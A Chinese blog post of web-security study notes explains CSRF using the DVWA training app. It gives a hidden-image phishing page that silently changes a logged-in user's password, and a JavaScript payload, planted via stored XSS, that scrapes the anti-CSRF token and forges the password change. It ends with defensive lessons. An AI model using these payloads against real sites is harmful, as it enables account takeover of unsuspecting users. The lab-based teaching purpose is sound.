Web安全测试学习笔记 - CSRF攻击

CSRF(Cross-site request forgery)跨站请求伪造,CSRF的原理简单来说就是攻击者以用户的名义对服务器发起请求,从而达到攻击目的。与XSS不同之处在于,XSS是盗取用户cookie,而CSRF是直接利用用户cookie(因此服务器会认为是用户本人在操作)。

用DVWA的练习来简单理解CSRF的工作原理。

low模式(钓鱼页面)

开一个虚拟机模拟被攻击用户A,A用户登录DVWA,并设置security level=low, 进入CSRF页面,该页面是用来修改当前登录用户的密码的。low模式下修改密码发的是get请求带着新密码参数,请求长这样(不要在意明文形式的密码和get请求~):

http://主机IP:8081/vulnerabilities/csrf/?password_new=789&password_conf=789&Change=Change

攻击者B做了一个简单的钓鱼页面,内容如下:

<img src="http://主机IP:8081/vulnerabilities/csrf/?password_new=789&password_conf=789&Change=Change" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>  

现在需要让A打开这个页面,A的密码就会被默默改掉。。怎么让A打开这个页面呢?比如把链接放在邮件里面,像下面这样:

钓鱼页面的URL为:http://testhost:8082/error.html

如果此时A正好登录着被攻击网站,然后点开了这个链接,A会看到下面的页面,A以为打开了一个无效页面,其实这个时候密码已经被改了。。。

密码怎么被改的呢?过程是这样的:

1.被攻击用户A登录的时候浏览器保存了A的登录cookie

2.A打开钓鱼页面,钓鱼页面里面的http改密码请求被执行(不需要再登录,因为浏览器里面有登录cookie)

3.http改密码请求被后端执行,密码修改成功

我在这做个练习的时候想到一个问题,浏览器不是有同源策略的限制么,为啥来自不同域名的钓鱼页面能使用被攻击网站的cookie呢?其实不是钓鱼页面跨域使用了cookie,而是钓鱼页面里的链接直接就是被攻击网站的内部链接啊!不存在跨域问题!!

high模式(配合XSS)

同样用虚拟机模拟被攻击用户A,A用户登录DVWA,并设置security level=high。

high模式下增加了随机生成的user_token参数,同时还有Referer校验

 但是F12查看页面元素之后,发现token其实是放在前端的一个隐藏的input里面的:

也就是说我们只要拿到这个隐藏input的value,再放到伪造的请求中,就可以实现攻击了。但是low模式使用的钓鱼页面时无法跨域拿到隐藏input的值的,因为有同源策略~ 但依然可以配合XSS漏洞实现

攻击者用自己账号登录进入存储型XSS页面(high模式下的存储型XSS攻击参见:https://www.cnblogs.com/sallyzhang/p/11951361.html)

csrf.js如下:

var xhr=new XMLHttpRequest();
xhr.open('get','../csrf');
xhr.send();
var res="";
var token="";
xhr.onreadystatechange = function () {
        if (xhr.readyState == 4 && xhr.status == 200) {
            res = xhr.responseText;
			var regex = /user_token\' value\=\'(.*?)\' \/\>/;
            var match = res.match(regex);
			token=match[1]
			
			var xhr_new=new XMLHttpRequest();
			var new_url='../csrf/?password_new=456&password_conf=456&Change=Change&user_token='+token;
			xhr_new.open('get',new_url)
            xhr_new.send()
        }
    };  

当被攻击方登录后访问存储型XSS页面时,密码就已经改了。csrf.js在XSS页面通过像同一个域名的csrf页面发送请求拿到csrf页面的token,再发送修改密码的请求,曲线完成攻击(因为是同一个主域名,不存在跨域问题)

一点点感悟:

1.不要随便点历不明的链接!!!不要随便打开来历不明的网站!!!

2.认真防御每一种高危或常见漏洞,上面的例子说明即使有防御csrf,但在xss漏洞的帮助下,仍然会被攻击

如需转载,请注明出处,这是对他人劳动成果的尊重~

猜你喜欢

转载自www.cnblogs.com/sallyzhang/p/11989391.html